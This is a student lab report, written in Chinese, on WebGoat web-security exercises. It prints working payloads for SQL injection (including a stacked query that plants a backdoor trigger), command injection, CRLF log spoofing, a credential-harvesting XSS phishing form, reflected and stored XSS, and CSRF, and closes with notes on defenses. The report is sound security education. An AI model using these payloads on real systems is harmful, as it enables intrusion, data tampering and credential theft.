20155217《網絡對抗》Exp09 Web安全基礎實踐

20155217《網絡對抗》Exp09 Web安全基礎實踐

實踐內容

• 關於webgoat：詢問了不少人在安裝webgoat時出現了錯誤，安裝失敗，所以直接經過同窗copy了老師的虛擬機進行本次實驗。
• 輸入命令java -jar webgoat-container-7.0.1-war-exec.jar運行WebGoat。

• WebGoat使用8080端口，因此在瀏覽器上訪問localhost:8080/WebGoat進入WebGoat。

String SQL Injection

• 按提示先輸入Smith，發現出如今SELECT * FROM user_data WHERE last_name = 'Smith'兩個單引號中間，所以咱們能夠經過控制在輸入框中輸入的字符串來控制select語句。
• 輸入'or 1='1，代碼變爲SELECT * FROM user_data WHERE last_name = ''or 1='1'，這裏的1='1'爲永真式，所以成功顯示全部信用卡號。

LAB:SQL Injection(Stage 1:String SQL Injection)

• 不少網站密碼驗證都是select * from User where username=''and password =''，理論上只要pwd = 'or 1=1 --，就能夠實現任何用戶的登陸。
• 但實際上，以用戶Neville登陸，在密碼欄中輸入'or 1=1 --進行SQL注入登陸失敗：

• 查看代碼發現，密碼長度定義爲8位，而咱們須要輸入的'or 1=1 --爲10位，所以須要修改長度爲10。

• 輸入'or 1=1 --，登陸成功。

Stage 3: Numeric SQL Injection

• 先修改密碼長度，而後輸入'or 1=1 --以larry登陸，登錄後看到瀏覽員工信息的按鈕是ViewProfile：

• 分析這個按鈕的代碼，發現這個地方是以員工ID做爲索引傳遞參數的。咱們要達到經過Larry來瀏覽老闆帳戶信息的目的，通常來講老闆的工資都應該是最高的，因此把其中的value值改成101 or 1=1 order by salary desc --，這樣老闆的信息就會被排到第一個：

• 以後就能夠查看到老闆的信息:

Log Spoofing

• 由於輸入的用戶名會被追加到日誌文件中，因此能夠欺騙管理員來使用戶名爲「admin」的用戶在日誌中顯示「成功登陸」。
• 輸入yd%0d%0aLogin Succeeded for username: admin，其中%0d是回車，%0a是換行符。

Numeric SQL Injection

• 修改SELECT * FROM weather_data WHERE station = 101 or 1=1爲永真式來達到查看所有天氣數據的目的。

• 選中Columbia，點Go，能夠看到全部天氣數據。

Command Injection

• 爲了能在目標主機上執行系統命令，修改代碼：在AccessControlMatrix.help旁邊加上"&&ifconfig":

• 在下拉菜單中能看到修改後的值：

• 選中修改後的值再點view，能夠看到命令被執行，出現系統網絡鏈接狀況：

Database Backdoors

• 根據提示在以下頁面輸入工號，進行查詢一些信息：

• 發現客戶端輸入的查詢語句沒有在服務器端進行驗證。輸入101; update employee set salary=10000，服務器爲咱們更新。
• 輸入101;CREATE TRIGGER myBackDoor BEFORE INSERT ON employee FOR EACH ROW BEGIN UPDATE employee SET email='郵箱' WHERE userid = NEW.userid，使沒建立一個新用戶的時候，自動爲其填充爲咱們所但願的郵箱。

Phishing with XSS

• 在搜索框中輸入任何內容，搜索後都會顯示在下方。

• 能夠輸入一個html代碼，添加html認證信息，經過提交時將認證信息提交服務器。

• 此次html完整代碼以下：

</form>
<script>
    function hack(){ 
        XSSImage=new Image;
        XSSImage.src="http://localhost:8080/WebGoat/catcher?PROPERTY=yes&user=" + document.phish.user.value + "&password=" + document.phish.pass.value + "";
        alert("Had this been a real attack... Your credentials were just stolen. User Name = " + document.phish.user.value + " Password = " + document.phish.pass.value);
    } 
</script>
<form name="phish">
<br>
<br>
<HR>
    <H2>This feature requires account login:</H2>
<br>
    <br>Enter Username:<br>
    <input type="text" name="user">
    <br>Enter Password:<br>
    <input type="password" name = "pass">
<br>
    <input type="submit" name="login" value="login" onclick="hack()">
</form>
<br>
<br>
<HR>

Reflected XSS Attacks

• 須要在相應信息欄輸入包含URL值的內容，使當前頁面跳轉到另外一個（指定）網頁，或者當用戶點擊purchase的時候跳出惡意信息。
• 在最後一個輸入框中輸入<script>alert("20155217says hello");</script>，點擊purchase，彈出以下對話框。

• 也能夠輸入指定URL（login.html是從虛擬機中找的，存儲在/var/www/html目錄下）：<script>window.location.href="http://127.0.0.1:8080/login.html";</script>

Stored XSS Attacks

• 利用腳本語言在網頁中編寫非法的留言內容，使得其餘用戶訪問該頁面的時候執行編寫的腳本。
• 在message輸入框中輸入<script>alert("attacked by yangdi");</script>執行腳本。

雖然以上這兩個實驗效果同樣，但原理是不同的。存儲型XSS是持久化的，代碼是存儲在服務器中，比較典型的例子就是上面所用的留言板；而反射型XSS攻擊是非持久化的，應用的場景好比欺騙用戶本身去點擊連接才能觸發XSS代碼，也就是說它的代碼是不存在服務器中的。

Cross Site Request Forgery (CSRF)

• 輸入<img src="http://localhost:8080/WebGoat/attack?Screen=280&menu=900&transferFunds=4000"/>來構造郵件。
• 提交後，會在消息列表中看到一個新的消息，點擊該消息，當前頁面就會下載這個消息並顯示出來，轉走用戶的4000元，從而達到CSRF攻擊的目的。

基礎問題回答

SQL注入攻擊原理，如何防護

• SQL注入產生的緣由，和棧溢出、XSS等不少其餘的攻擊方法相似，就是未經檢查或者未經充分檢查的用戶輸入數據，意外變成了代碼被執行。針對於SQL注入，則是用戶提交的數據，被數據庫系統編譯而產生了開發者預期以外的動做。也就是，SQL注入是用戶輸入的數據，在拼接SQL語句的過程當中，超越了數據自己，成爲了SQL語句查詢邏輯的一部分，而後這樣被拼接出來的SQL語句被數據庫執行，產生了開發者預期以外的動做。
• 解決辦法：從根本上防止上述類型攻擊的手段，仍是避免數據變成代碼被執行，時刻分清代碼和數據的界限。而具體到SQL注入來講，被執行的惡意代碼是經過數據庫的SQL解釋引擎編譯獲得的，因此只要避免用戶輸入的數據被數據庫系統編譯就能夠了。

XSS攻擊的原理，如何防護

• XSS攻擊是Web攻擊中最多見的攻擊方法之一，它是經過對網頁注入可執行代碼且成功地被瀏覽器執行，達到攻擊的目的，造成了一次有效XSS攻擊，一旦攻擊成功，它能夠獲取用戶的聯繫人列表，而後向聯繫人發送虛假詐騙信息，能夠刪除用戶的日誌等等，有時候還和其餘攻擊方式同時實 施好比SQL注入攻擊服務器和數據庫、Click劫持、相對連接劫持等實施釣魚，它帶來的危害是巨大的，是web安全的頭號大敵。
• 解決方法：一種方法是在表單提交或者url參數傳遞前，對須要的參數進行過濾。過濾用戶輸入的檢查用戶輸入的內容中是否有非法內容。如<>、」、‘、%、;、()、&、+等嚴格控制輸出。

CSRF攻擊原理，如何防護

• CSRF概念：CSRF跨站點請求僞造(Cross—Site Request Forgery)，跟XSS攻擊同樣，存在巨大的危害性，能夠這樣來理解：攻擊者盜用了a的身份，以a的名義發送惡意請求，對服務器來講這個請求是徹底合法的，可是卻完成了攻擊者所指望的一個操做，好比以a的名義發送郵件、發消息，盜取a的帳號，添加系統管理員，甚至於購買商品、虛擬貨幣轉帳等。
• 解決辦法：目前防護 CSRF 攻擊主要有三種策略：驗證 HTTP Referer 字段；在請求地址中添加 token 並驗證；在 HTTP頭中自定義屬性並驗證。

實驗總結與體會

此次實驗對我來講難點之一在於webgoat全英文的實驗環境，實驗的理解與完成很大程度上是在谷歌的幫助下作完的，心累累。另外，SQL注入攻擊、XSS攻擊等是關於web安全方面的攻擊，本次在具體情形下進行實踐，感受比以往理解的更加透徹一些，並且更容易找到一些攻擊的規律（多是對能偷懶的方法天生敏銳吧~）。